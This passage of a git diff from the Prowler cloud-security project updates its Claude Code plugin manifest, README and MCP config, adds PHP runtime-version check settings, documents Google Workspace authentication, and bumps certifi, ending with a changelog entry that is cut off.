+ { url = "https://files.pythonhosted.org/packages/a4/28/779a2ed9e0152a601a27039bed9aead3f0b79797a67e2c44bfa444622dd8/yarl-1.25.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:e546fe1d4a93ebc2910f0d768baff19faa09843ab3f2036a67ed6e69fae4419d", size = 122184, upload-time = "2026-09-15T19:31:25.343Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/1f/118e9e5b8f07694d63fd3222e801d7782270003f1a222aa798df3f8d5933/yarl-1.25.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:cce0727fd5ac04d372fa9bbfde9febc2bcf209aadfcf0468e45dec72719895d1", size = 114001, upload-time = "2026-09-15T19:31:27.465Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/ae/a4cf1cf372313734b17996d4007f9f73596e7a178b9485802e5494ecf484/yarl-1.25.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af4ea5b37403ef4e30f3927eaed540db942bde01d8d3ff083527c0704d1c9c68", size = 120565, upload-time = "2026-09-15T19:31:29.47Z" },
+ { url = "https://files.pythonhosted.org/packages/05/79/ad94f93ca731bc9e44d321833ab96b82a4f9f5f63cf773f81a4aeea5ecc1/yarl-1.25.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:68782fdb4027b8d1eee25ec35e9a6db05e863b899eb0310b3a33b6c3fef55707", size = 117060, upload-time = "2026-09-15T19:31:31.367Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/cc/51a7b4abf4ac593b8e7eb3794b28e5a35ae26eed8bc04787628d215af82f/yarl-1.25.1-cp312-cp312-win_amd64.whl", hash = "sha256:7d575b54cb3863ef9bc290ea4b009999d55dc237326131e4853cf33e888fee03", size = 102593, upload-time = "2026-09-15T19:31:33.329Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/21/0941a6b93a58b59a1ec75e5333bf06929b671309c43c0cd201c172d9c39f/yarl-1.25.1-cp312-cp312-win_arm64.whl", hash = "sha256:bc3ac7bf569f6b64dad04dd7808c7872dae8a97df657856eac05e9b7e3614a85", size = 97697, upload-time = "2026-09-15T19:31:35.855Z" },
+ { url = "https://files.pythonhosted.org/packages/54/22/318c7980066769c6bcd9221ed2248294f5698811da099013098c670565ed/yarl-1.25.1-py3-none-any.whl", hash = "sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3", size = 63617, upload-time = "2026-09-15T19:34:59.616Z" },
]
[[package]]
diff --git a/claude_plugins/prowler/.claude-plugin/plugin.json b/claude_plugins/prowler/.claude-plugin/plugin.json
index c77187c3b0..d96b044be5 100644
--- a/claude_plugins/prowler/.claude-plugin/plugin.json
+++ b/claude_plugins/prowler/.claude-plugin/plugin.json
@@ -1,8 +1,9 @@
{
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
"name": "prowler",
+ "displayName": "Prowler Cloud",
"version": "0.1.0",
- "description": "Prowler for Claude Code — cloud security and compliance skills powered by the Prowler MCP server. Bundles compliance triage and remediation; more skills coming.",
+ "description": "Prowler Cloud security and compliance skills for Claude, powered by the Prowler MCP server. Triage compliance gaps and remediate findings on AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub and many more providers listed at https://registry.prowler.com, plus custom providers, until your account meets the framework you choose.",
"author": {
"name": "Prowler",
"email": "support@prowler.com",
@@ -12,11 +13,26 @@
"repository": "https://github.com/prowler-cloud/prowler",
"license": "Apache-2.0",
"keywords": [
+ "alibabacloud",
+ "aws",
+ "azure",
+ "cloud-security",
+ "cloudflare",
+ "compliance",
+ "gcp",
+ "github",
+ "huaweicloud",
+ "iac",
+ "kubernetes",
+ "m365",
+ "mcp",
+ "mongodbatlas",
+ "okta",
+ "openstack",
+ "oraclecloud",
"prowler",
"security",
- "compliance",
- "cloud-security",
- "mcp"
+ "vercel"
],
"userConfig": {
"api_key": {
diff --git a/claude_plugins/prowler/.mcp.json b/claude_plugins/prowler/.mcp.json
index 9788b6d982..b3c59f5845 100644
--- a/claude_plugins/prowler/.mcp.json
+++ b/claude_plugins/prowler/.mcp.json
@@ -1,9 +1,11 @@
{
- "prowler": {
- "type": "http",
- "url": "https://mcp.prowler.com/mcp",
- "headers": {
- "Authorization": "Bearer ${user_config.api_key}"
+ "mcpServers": {
+ "prowler": {
+ "type": "http",
+ "url": "https://mcp.prowler.com/mcp",
+ "headers": {
+ "Authorization": "Bearer ${user_config.api_key}"
+ }
}
}
}
diff --git a/claude_plugins/prowler/LICENSE b/claude_plugins/prowler/LICENSE
new file mode 100644
index 0000000000..9b4991a625
--- /dev/null
+++ b/claude_plugins/prowler/LICENSE
@@ -0,0 +1,201 @@
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright @ 2024 Toni de la Fuente
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/claude_plugins/prowler/README.md b/claude_plugins/prowler/README.md
index 6e204fbe44..1bdf6f30e8 100644
--- a/claude_plugins/prowler/README.md
+++ b/claude_plugins/prowler/README.md
@@ -4,6 +4,14 @@ End-to-end cloud security and compliance from inside [Claude Code](https://www.c
> **Preview**: this plugin is under active development. Report issues at or join the [Slack community](https://goto.prowler.com/slack).
+## What it does
+
+Prowler Cloud connects Claude to your cloud security posture. The bundled `framework-compliance-triage` skill checks that a provider account is connected to Prowler Cloud, reads the latest scan and compliance report for the framework you pick (CIS, PCI-DSS, NIST, Prowler ThreatScore and more), and then walks you through fixing each failed requirement. Every change is proposed first and applied only after you approve it.
+
+## Supported providers
+
+Any provider Prowler Cloud supports, including AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub, Google Workspace, Cloudflare, Oracle Cloud, Alibaba Cloud, Huawei Cloud, OpenStack, Linode, Scaleway, STACKIT, E2E Networks, NHN Cloud, MongoDB Atlas, Okta, Vercel, VCF, Infrastructure as Code, container images and LLMs. The full, growing list lives in the [Prowler Registry](https://registry.prowler.com/providers). Prowler also supports custom providers, so you can add your own and use them with this plugin.
+
## Requirements
- [Claude Code](https://www.claude.com/product/claude-code) installed and signed in.
@@ -12,6 +20,8 @@ End-to-end cloud security and compliance from inside [Claude Code](https://www.c
## Installation
+From the Claude directory, open **Customize > Plugins > Discover**, search for **Prowler Cloud** and select **Add**. In Claude Code you can also install it from the command line:
+
Inside a Claude Code session:
```text
@@ -58,6 +68,10 @@ You pick a **primary tool** (Terraform, gh / az / aws CLI, web console, or mixed
Claude tracks progress in a markdown report under `.prowler/` at your project root — one file per framework × account. Open it any time to see exactly where the flow is. When all findings are addressed, Claude proposes a fresh Prowler scan to verify everything end-to-end.
+## Data and privacy
+
+The plugin stores nothing itself. It connects to the Prowler MCP server at `https://mcp.prowler.com/mcp`, authenticating with the API key you provide (kept in your system keychain and sent only as a bearer token to that server). Through it, Claude reads your Prowler Cloud providers, scans, findings, compliance results and resource metadata, and can trigger scans. It also queries the public Prowler Hub and Prowler documentation. The remediation report is written locally under `.prowler/` in your project. Nothing is sent to any other service. See the [Prowler privacy policy](https://prowler.com/privacy-policy) for how Prowler Cloud handles account data.
+
## Uninstalling
```text
@@ -77,4 +91,4 @@ The stored API key is removed automatically.
## License
-Apache 2.0 — see [LICENSE](../../LICENSE).
+Apache 2.0 — see [LICENSE](LICENSE).
diff --git a/contrib/k8s/helm/prowler-api/values.yaml b/contrib/k8s/helm/prowler-api/values.yaml
index 5332f9d2eb..71c08fee34 100644
--- a/contrib/k8s/helm/prowler-api/values.yaml
+++ b/contrib/k8s/helm/prowler-api/values.yaml
@@ -164,6 +164,28 @@ mainConfig:
# aws.appstream_fleet_maximum_session_duration
max_session_duration_seconds: 36000 # 10 Hours
+ # AWS Elastic Beanstalk Configuration
+ # aws.elasticbeanstalk_environment_php_platform_updated
+ # Oldest PHP branch still receiving security fixes
+ elasticbeanstalk_php_min_branch: "8.2"
+ # Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
+ elasticbeanstalk_php_min_platform_version: "4.13.13"
+
+ # AWS Lightsail Configuration
+ # aws.lightsail_instance_php_blueprint_updated
+ # Blueprint id prefixes that ship PHP and require manual runtime verification
+ lightsail_php_blueprints:
+ [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+ ]
# AWS Lambda Configuration
# aws.awslambda_function_using_supported_runtimes
obsolete_lambda_runtimes:
@@ -501,8 +523,9 @@ mainConfig:
shodan_api_key: null
# Azure App Service
+ # Minimum runtime versions; any newer version passes
# azure.app_ensure_php_version_is_latest
- php_latest_version: "8.2"
+ php_latest_version: "8.5"
# azure.app_ensure_python_version_is_latest
python_latest_version: "3.12"
# azure.app_ensure_java_version_is_latest
diff --git a/docs/user-guide/cli/tutorials/configuration_file.mdx b/docs/user-guide/cli/tutorials/configuration_file.mdx
index 1df2dc2117..f7620796c8 100644
--- a/docs/user-guide/cli/tutorials/configuration_file.mdx
+++ b/docs/user-guide/cli/tutorials/configuration_file.mdx
@@ -40,6 +40,9 @@ The following list includes all the AWS checks with configurable variables that
| `awslambda_function_no_secrets_in_variables` | `secrets_ignore_patterns` | List of Strings | `[]` |
| `awslambda_function_using_supported_runtimes` | `obsolete_lambda_runtimes` | List of Strings | See `config.yaml` |
| `awslambda_function_vpc_multi_az` | `lambda_min_azs` | Integer | `2` |
+| `elasticbeanstalk_environment_php_platform_updated` | `elasticbeanstalk_php_min_branch` | String | `"8.2"` |
+| `elasticbeanstalk_environment_php_platform_updated` | `elasticbeanstalk_php_min_platform_version` | String | `"4.13.13"` |
+| `lightsail_instance_php_blueprint_updated` | `lightsail_php_blueprints` | List of Strings | See `config.yaml` |
| `cloudformation_stack_cdktoolkit_bootstrap_version` | `recommended_cdk_bootstrap_version` | Integer | `21` |
| `cloudformation_stack_outputs_find_secrets` | `secrets_ignore_patterns` | List of Strings | `[]` |
| `cloudfront_distributions_pqc_tls_enabled` | `cloudfront_pqc_min_protocol_versions` | List of Strings | `["TLSv1.3_2025"]` |
@@ -215,7 +218,7 @@ The following list includes all the Azure checks with configurable variables tha
| `apim_threat_detection_llm_jacking` | `apim_threat_detection_llm_jacking_minutes` | Integer | `1440` |
| `apim_threat_detection_llm_jacking` | `apim_threat_detection_llm_jacking_threshold` | Float | `0.1` |
| `app_ensure_java_version_is_latest` | `java_latest_version` | String | `"17"` |
-| `app_ensure_php_version_is_latest` | `php_latest_version` | String | `"8.2"` |
+| `app_ensure_php_version_is_latest` | `php_latest_version` | String | `"8.5"` |
| `app_ensure_python_version_is_latest` | `python_latest_version` | String | `"3.12"` |
| `defender_attack_path_notifications_properly_configured` | `defender_attack_path_minimal_risk_level` | String | `"High"` |
| `network_public_ip_shodan` | `shodan_api_key` | String | `null` |
@@ -232,6 +235,7 @@ The following list includes all the GCP checks with configurable variables that
| Check Name | Value | Type | Default |
|---------------------------------------------------|-----------------------------------|---------|---------|
+| `appengine_version_php_runtime_supported` | `appengine_php_min_version` | String | `"8.2"` |
| `cloudstorage_bucket_sufficient_retention_period` | `storage_min_retention_days` | Integer | `90` |
| `compute_instance_group_multiple_zones` | `mig_min_zones` | Integer | `2` |
| `compute_public_address_shodan` | `shodan_api_key` | String | `null` |
@@ -449,6 +453,28 @@ aws:
# aws.appstream_fleet_maximum_session_duration
max_session_duration_seconds: 36000 # 10 Hours
+ # AWS Elastic Beanstalk Configuration
+ # aws.elasticbeanstalk_environment_php_platform_updated
+ # Oldest PHP branch still receiving security fixes
+ elasticbeanstalk_php_min_branch: "8.2"
+ # Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
+ elasticbeanstalk_php_min_platform_version: "4.13.13"
+
+ # AWS Lightsail Configuration
+ # aws.lightsail_instance_php_blueprint_updated
+ # Blueprint id prefixes that ship PHP and require manual runtime verification
+ lightsail_php_blueprints:
+ [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+ ]
# AWS Lambda Configuration
# aws.awslambda_function_using_supported_runtimes
obsolete_lambda_runtimes:
@@ -719,8 +745,9 @@ azure:
shodan_api_key: null
# Azure App Service
+ # Minimum runtime versions; any newer version passes
# azure.app_ensure_php_version_is_latest
- php_latest_version: "8.2"
+ php_latest_version: "8.5"
# azure.app_ensure_python_version_is_latest
python_latest_version: "3.12"
# azure.app_ensure_java_version_is_latest
diff --git a/docs/user-guide/providers/googleworkspace/authentication.mdx b/docs/user-guide/providers/googleworkspace/authentication.mdx
index 60d1315bff..fe55eb2516 100644
--- a/docs/user-guide/providers/googleworkspace/authentication.mdx
+++ b/docs/user-guide/providers/googleworkspace/authentication.mdx
@@ -26,6 +26,14 @@ Prowler requests the following read-only OAuth 2.0 scopes:
The delegated user must be a **super administrator** in your Google Workspace organization. Using a non-admin account will result in permission errors when accessing the Admin SDK.
+### Optional Scope for Edition Context
+
+Prowler can read which Google Workspace editions the tenant holds, Cloud Identity Premium included, and state in a finding when the audited feature is not sold on them (for example, Data Loss Prevention (DLP) for Drive or Google session control). This needs the Enterprise License Manager API enabled in the GCP project (Step 2) and the scope `https://www.googleapis.com/auth/apps.licensing` added to the Domain-Wide Delegation list (Step 5). Without the scope, every check runs the same and findings carry no edition context.
+
+
+The `apps.licensing` scope is Google's "view and manage licenses" scope and has no read-only variant. Prowler only lists license assignments, but anyone holding the Service Account key could assign or revoke licenses with it on behalf of the super administrator. Grant it only if you want the edition context, and protect the key accordingly.
+
+
## Setup Steps
### Step 1: Create a Google Cloud Platform (GCP) Project (if Needed)
@@ -36,21 +44,22 @@ The project is only used to host the Service Account — it does not need to hav
### Step 2: Enable Required APIs
-In the [Google Cloud Console](https://console.cloud.google.com), select the target project and navigate to **APIs & Services → Library**. Search for and enable each of the following APIs:
+In the [Google Cloud Console](https://console.cloud.google.com), select the target project and enable each of the following APIs:
-| API | Required For |
-|-----|--------------|
-| **Admin SDK API** | Directory service checks (users, roles, domains) |
-| **Cloud Identity API** | All service checks except Directory (domain-level application policies) |
+| API | Service Name | Required For |
+|-----|--------------|--------------|
+| **[Admin SDK API](https://console.cloud.google.com/apis/library/admin.googleapis.com)** | `admin.googleapis.com` | Directory service checks (users, roles, domains) |
+| **[Cloud Identity API](https://console.cloud.google.com/apis/library/cloudidentity.googleapis.com)** | `cloudidentity.googleapis.com` | All service checks except Directory (domain-level application policies) |
+| **[Enterprise License Manager API](https://console.cloud.google.com/apis/library/licensing.googleapis.com)** | `licensing.googleapis.com` | Optional: edition context in findings (see Optional Scope for Edition Context) |
For each API:
-1. Search for the API name in the library
-2. Click the API result
+1. Open the link above, or navigate to **APIs & Services → Library** and search for the API name
+2. Confirm the target project is selected in the project picker
3. Click **Enable**
-Both APIs must be enabled in the same GCP project that hosts the Service Account. All service checks except Directory will return no findings if the Cloud Identity API is not enabled.
+The Admin SDK API and the Cloud Identity API must be enabled in the same GCP project that hosts the Service Account. All service checks except Directory will return no findings if the Cloud Identity API is not enabled. The Identity and Access Management (IAM) API (`iam.googleapis.com`) is a different API: enabling it does not replace the Cloud Identity API.
### Step 3: Create a Service Account
@@ -78,6 +87,30 @@ The Service Account does not need any GCP IAM roles. Its access to Google Worksp
This JSON key grants access to your Google Workspace organization. Never commit it to version control, share it in plain text, or store it in an insecure location.
+#### Service Account Key Creation Is Disabled
+
+Organizations created on or after May 3, 2024 enforce the [Secure by Default](https://docs.cloud.google.com/resource-manager/docs/secure-by-default-organizations) organization policy `iam.managed.disableServiceAccountKeyCreation`, and the **Add key** dialog shows "Service account key creation is disabled". To create the key, a user with the Organization Policy Administrator role (`roles/orgpolicy.policyAdmin`) on the organization must turn off enforcement for the project that hosts the Service Account:
+
+1. In the Google Cloud Console, select the project and navigate to **IAM & Admin → Organization Policies**
+2. Open **Disable service account key creation** (`iam.managed.disableServiceAccountKeyCreation`) and click **Manage policy**
+3. Select **Override parent's policy**, click **Add a rule**, set **Enforcement** to **Off**, and click **Set policy**
+4. Return to the Service Account **Keys** tab and create the key
+
+Alternatively, override the policy with the Google Cloud CLI:
+
+```yaml policy.yaml
+name: projects/PROJECT_ID/policies/iam.managed.disableServiceAccountKeyCreation
+spec:
+ rules:
+ - enforce: false
+```
+
+```console
+gcloud org-policies set-policy policy.yaml
+```
+
+The constraint only blocks new key creation. Keys that already exist keep working, so enforcement can be restored once the key has been downloaded.
+
### Step 5: Configure Domain-Wide Delegation in Google Workspace
1. Navigate to the [Google Workspace Admin Console](https://admin.google.com)
@@ -91,6 +124,8 @@ This JSON key grants access to your Google Workspace organization. Never commit
https://www.googleapis.com/auth/admin.directory.user.readonly,https://www.googleapis.com/auth/admin.directory.domain.readonly,https://www.googleapis.com/auth/admin.directory.customer.readonly,https://www.googleapis.com/auth/admin.directory.orgunit.readonly,https://www.googleapis.com/auth/cloud-identity.policies.readonly,https://www.googleapis.com/auth/admin.directory.rolemanagement.readonly
```
+ To enable the optional edition context, append `,https://www.googleapis.com/auth/apps.licensing` to the list.
+
7. Click **Authorize**
diff --git a/docs/user-guide/tutorials/prowler-app-rbac.mdx b/docs/user-guide/tutorials/prowler-app-rbac.mdx
index 85d31bc7f0..d1a183b363 100644
--- a/docs/user-guide/tutorials/prowler-app-rbac.mdx
+++ b/docs/user-guide/tutorials/prowler-app-rbac.mdx
@@ -249,7 +249,7 @@ Assign administrative permissions by selecting from the following options:
| Permission | Scope | Description |
|------------|-------|-------------|
| Invite and Manage Users | All | Invite new users and manage existing ones. |
-| Manage Account | All | Adjust account settings, delete users and read/manage users permissions. |
+| Manage Account | All | Adjust account settings, delete users, read/manage users permissions and configure SAML SSO. |
| Manage Scans | All | Run and review scans, and manage [Scan Configuration](/user-guide/tutorials/prowler-app-scan-configuration) settings. |
| Manage Providers | All | Add or modify connected providers, and attach or detach providers from a [Scan Configuration](/user-guide/tutorials/prowler-app-scan-configuration) (in addition to Manage Scans). |
| Manage Integrations | All | Add or modify the Prowler Integrations. |
diff --git a/docs/user-guide/tutorials/prowler-app-sso.mdx b/docs/user-guide/tutorials/prowler-app-sso.mdx
index 881ae61ec9..6bad872680 100644
--- a/docs/user-guide/tutorials/prowler-app-sso.mdx
+++ b/docs/user-guide/tutorials/prowler-app-sso.mdx
@@ -41,7 +41,7 @@ If the SAML configuration is removed, users who previously authenticated via SAM
### Prerequisites
-- Administrator access to the Prowler organization is required.
+- A role with the **Manage Account** permission in the Prowler organization is required.
- Administrative access to the SAML 2.0 compliant Identity Provider (e.g., Okta, Azure AD, Google Workspace) is necessary.
### Configuration Steps
diff --git a/mcp_server/changelog.d/mcp-image-certifi-2026-10-19.security.md b/mcp_server/changelog.d/mcp-image-certifi-2026-10-19.security.md
new file mode 100644
index 0000000000..4887dbd829
--- /dev/null
+++ b/mcp_server/changelog.d/mcp-image-certifi-2026-10-19.security.md
@@ -0,0 +1 @@
+certifi from 2026.4.22 to 2026.10.19 in the MCP Server container image, dropping the emSign root CAs whose intermediate keys were compromised
diff --git a/mcp_server/uv.lock b/mcp_server/uv.lock
index e529c9c3c4..6a33a7bc97 100644
--- a/mcp_server/uv.lock
+++ b/mcp_server/uv.lock
@@ -1,5 +1,5 @@
version = 1
-revision = 3
+revision = 2
requires-python = ">=3.12"
resolution-markers = [
"python_full_version >= '3.14' and sys_platform == 'win32'",
@@ -129,11 +129,11 @@ wheels = [
[[package]]
name = "certifi"
-version = "2026.4.22"
+version = "2026.10.19"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size = 137598, upload-time = "2026-10-20T02:24:16.604Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size = 136464, upload-time = "2026-10-20T02:24:15.072Z" },
]
[[package]]
diff --git a/prowler/changelog.d/aws-elasticbeanstalk-php-platform-updated.added.md b/prowler/changelog.d/aws-elasticbeanstalk-php-platform-updated.added.md
new file mode 100644
index 0000000000..9deea477b6
--- /dev/null
+++ b/prowler/changelog.d/aws-elasticbeanstalk-php-platform-updated.added.md
@@ -0,0 +1 @@
+`elasticbeanstalk_environment_php_platform_updated` check to flag Elastic Beanstalk PHP environments on branches without security fixes or on platform versions older than the one bundling the fixed PHP release
diff --git a/prowler/changelog.d/aws-lightsail-php-blueprint-updated.added.md b/prowler/changelog.d/aws-lightsail-php-blueprint-updated.added.md
new file mode 100644
index 0000000000..668e01bd43
--- /dev/null
+++ b/prowler/changelog.d/aws-lightsail-php-blueprint-updated.added.md
@@ -0,0 +1 @@
+`lightsail_instance_php_blueprint_updated` check to flag Lightsail instances created from PHP blueprints for manual verification of the PHP release
diff --git a/prowler/changelog.d/aws-wafv2-managed-rule-groups-enabled.added.md b/prowler/changelog.d/aws-wafv2-managed-rule-groups-enabled.added.md
new file mode 100644
index 0000000000..f954356ee0
--- /dev/null
+++ b/prowler/changelog.d/aws-wafv2-managed-rule-groups-enabled.added.md
@@ -0,0 +1 @@
+`wafv2_webacl_managed_rule_groups_enabled` check to verify WAFv2 Web ACLs reference at least one managed rule group
diff --git a/prowler/changelog.d/azure-app-runtime-minimum-version.fixed.md b/prowler/changelog.d/azure-app-runtime-minimum-version.fixed.md
new file mode 100644
index 0000000000..4c5f3a7a43
--- /dev/null
+++ b/prowler/changelog.d/azure-app-runtime-minimum-version.fixed.md
@@ -0,0 +1 @@
